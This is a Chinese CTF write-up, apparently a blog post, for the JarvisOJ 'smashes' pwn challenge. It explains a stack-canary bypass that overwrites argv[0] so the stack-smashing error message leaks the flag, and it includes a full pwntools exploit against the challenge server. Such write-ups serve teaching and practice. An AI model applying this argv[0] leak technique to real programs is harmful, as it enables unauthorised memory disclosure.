JarvisOJ smashes

这题仍然是栈溢出题,只不过加入了栈保护CANARY,要做这题,CANARY的作用以及他对栈的影响一定要有所了解,不然将无从下手。

拿到程序,首先查看一下保护:
在这里插入图片描述
程序开了CANARY保护,有点麻烦。
对于canary,就是在栈底前面一点点(不一定贴近)加入一串字符,如果你暴力进行栈溢出,你就会覆盖canary,导致程序报错,只是栈的一种保护机制。
我们先进入IDA查看程序逻辑:
在这里插入图片描述
我们可以看到在函数sub_4007e0()处存在明显的get函数产生的栈溢出漏洞,但是因为程序的各种保护,我们并不能暴力破栈,只能看看有什么其他的方法。
在这里插入图片描述
双击进入600d20,我们发现一个类似flag的字符串:
在这里插入图片描述
但是这肯定不是真正的flag,从其中的英文来看,在远程服务器中,这就是flag的地址。
我们前面说到,对于canary的的报错我们有了一定了解:当程序输入覆盖canary的时候,canary会打印main函数
的argv(0)到输出流中,这里,我们只需要把argv(0)覆盖成这个flag,我们就能获得真正的flag了。
但是我们发现函数却修改了在0x600d20处的flag:
在这里插入图片描述
这该怎么办呢?
其实在一些小程序中,对于这些小文本会有备份,我们通过gdb查找就行了:
在这里插入图片描述
我们发现在0x400d21处也有一个一样的东西(在find CTF这条语句时,一定要保证程序在运行状态,可以下断点或者强行溢出)
找到了flag,我们就要知道argv(0)的地址了,在程序运行时,argv(0)保存的是程序的绝对地址,故我们可以在程序运行时find程序的绝对地址:
在这里插入图片描述
0x7fffffffe224就是了,接下来我们就要寻找我们输入是从哪个地址开始的了:
我们在call IO_gets后面下一个断点,寻找我们输入时的地址
在这里插入图片描述
我们找到地址是0x7fffffffdc50,我们算得相对偏移为(0x7fffffffe224-0x7fffffffdc50)/8=177
所以我们就能构造payload的了,完整exp如下:

#!/usr/bin/env python
from pwn import *
p=remote('pwn.jarvisoj.com',9877)
p.recvuntil('name?')
p.sendline(p64(0x0400d21)*177)
p.recvuntil('flag:')
p.sendline('1')
print p.recv()
p.interactive()

运行结果如下:
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值